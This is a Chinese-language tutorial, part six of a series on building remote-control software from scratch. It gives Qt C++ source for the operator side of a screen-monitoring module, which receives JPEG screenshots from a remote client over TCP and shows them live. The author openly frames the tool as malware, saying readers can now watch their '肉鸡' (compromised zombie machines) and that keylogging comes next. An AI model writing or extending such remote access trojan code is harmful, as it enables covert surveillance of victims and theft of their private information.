从零开始做远控 第六篇 屏幕监控

如果你从没看过这系列教程请点击：从零开始做远控 简介篇

屏幕监控：
这一节我们是完成屏幕监控的最后一部分，就是在服务端里发送指令，然后从客户端不断获取屏幕截图数据，画到窗口上，形成实时监控。


晒下效果图：

ScreenSpy类:
1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。
2.启动新的服务端，专门监控屏幕.
3.定义数据包头，可以从上一节复制过来。

// 数据头
typedef struct {
	unsigned int len;    // jpg文件大小
} ScreenSpyHeader;

4.屏幕截图数据读取和打印在窗口上

void ScreenSpy::processBuffer()
{
    QByteArray *buf = mSock->buffer();


    while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
        // 读取头
        if (mScreenLen == 0) {
            if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
                ScreenSpyHeader header;
                memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
                buf->remove(0, sizeof(ScreenSpyHeader));


                // 设置图片数据
                mScreenLen = header.len;
            } else {
                break;
            }
        }


        // 读取JPG图片
        if (mScreenLen > 0){
            if ((unsigned int)buf->size() >= mScreenLen) {
                // 保存新图片
                mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);


                // 显示图片
                mScreenLabel->setPixmap(mScreenPixmap);


                // 擦除数据
                buf->remove(0, mScreenLen);
                mScreenLen = 0;
            } else {
                break;
            }
        }
    }
}

代码

ScreenSpy.h

/*
 *  Author: sumkee911@gmail.com
 *  Date: 2016-12-21
 *  Brief: 从客户端接收屏幕图片数据，然后画在窗口上
 *
 */

#ifndef SCREENSPY_H
#define SCREENSPY_H

#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>

class ScreenSpy : public QWidget
{
    Q_OBJECT
public:
    explicit ScreenSpy( QWidget *parent = 0);

    // 数据头
    typedef struct {
        unsigned int len;    // jpg文件大小
    } ScreenSpyHeader;


    // 开始监控服务器，然后返回新的端口号
    int startScreenSpyServer(QString userName);

private:
    QLabel *mScreenLabel;        // 用来显示图片
    TcpServer *mServer;   // 屏幕监控服务端
    TcpSocket *mSock;   // 屏幕监控客户端
    QPixmap mScreenPixmap;    // 当前屏幕截图
    unsigned int mScreenLen;    // JPG图片大小

signals:

public slots:
    // 有新客户连接
    void newConnection(QTcpSocket *s);

    // 处理新数据
    void processBuffer();

protected:
    // 大小重置
    void resizeEvent(QResizeEvent *);

    // 关闭
    void closeEvent(QCloseEvent *);
};

#endif // SCREENSPY_H

ScreenSpy.cpp

#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :
    QWidget(parent), mScreenLen(0)
{
    // 初始化窗口
    const int w = 800, h = 450;
    const int x = (QApplication::desktop()->width() - w) >> 1;
    const int y = (QApplication::desktop()->height() - h) >> 1;
    this->setGeometry(x, y, w, h);
    // 图片label
    mScreenLabel = new QLabel(this);
    mScreenLabel->setGeometry(0,0, w, h);
    mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{
    // 设置窗口标题
    this->setWindowTitle(userName.append("-屏幕监控"));
    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启屏幕监控服务端失败";
        deleteLater();
        return -1;
    }
    // 开启监控窗口
    this->show();
    return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{
    // 新增客户
    mSock = new TcpSocket(s, this);
    connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
    connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
    // 不再监听新客户
    mServer->server()->close();
}
void ScreenSpy::processBuffer()
{
    QByteArray *buf = mSock->buffer();
    while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
        // 读取头
        if (mScreenLen == 0) {
            if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
                ScreenSpyHeader header;
                memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
                buf->remove(0, sizeof(ScreenSpyHeader));
                // 设置图片数据
                mScreenLen = header.len;
            } else {
                break;
            }
        }
        // 读取JPG图片
        if (mScreenLen > 0){
            if ((unsigned int)buf->size() >= mScreenLen) {
                // 保存新图片
                mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);
                // 显示图片
                mScreenLabel->setPixmap(mScreenPixmap);
                // 擦除数据
                buf->remove(0, mScreenLen);
                mScreenLen = 0;
            } else {
                break;
            }
        }
    }
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{
    // 重设mScreenLabel大小
    mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{
    // 删除窗口
    deleteLater();
}

6.子ZeroClient类里增加新的公有函数sendScreenSpy()。

void ZeroClient::sendScreenSpy(int port)
{
    QString data;
    data.append(CmdScreenSpy+CmdSplit);
    data.append("PORT"+CmdSplit+QString::number(port));
    data.append(CmdEnd);
    mSock->write(data.toLocal8Bit());
}

7.修改Widget类里的screenSpyClicked()。

void Widget::screenSpyClicked()
{
    int id = currentClientIdFromTable();
    if (id != -1) {
        ScreenSpy *ss = new ScreenSpy();
        ZeroClient *client = mZeroServer->client(id);
        int port = ss->startScreenSpyServer(QString::number(id));


        // 开始监控
        client->sendScreenSpy(port);
    }
}

本节总结：
我们已经完成了屏幕监控了，现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。

本节完整代码:
对上节作出的修改：
1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。
2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。

下载完整代码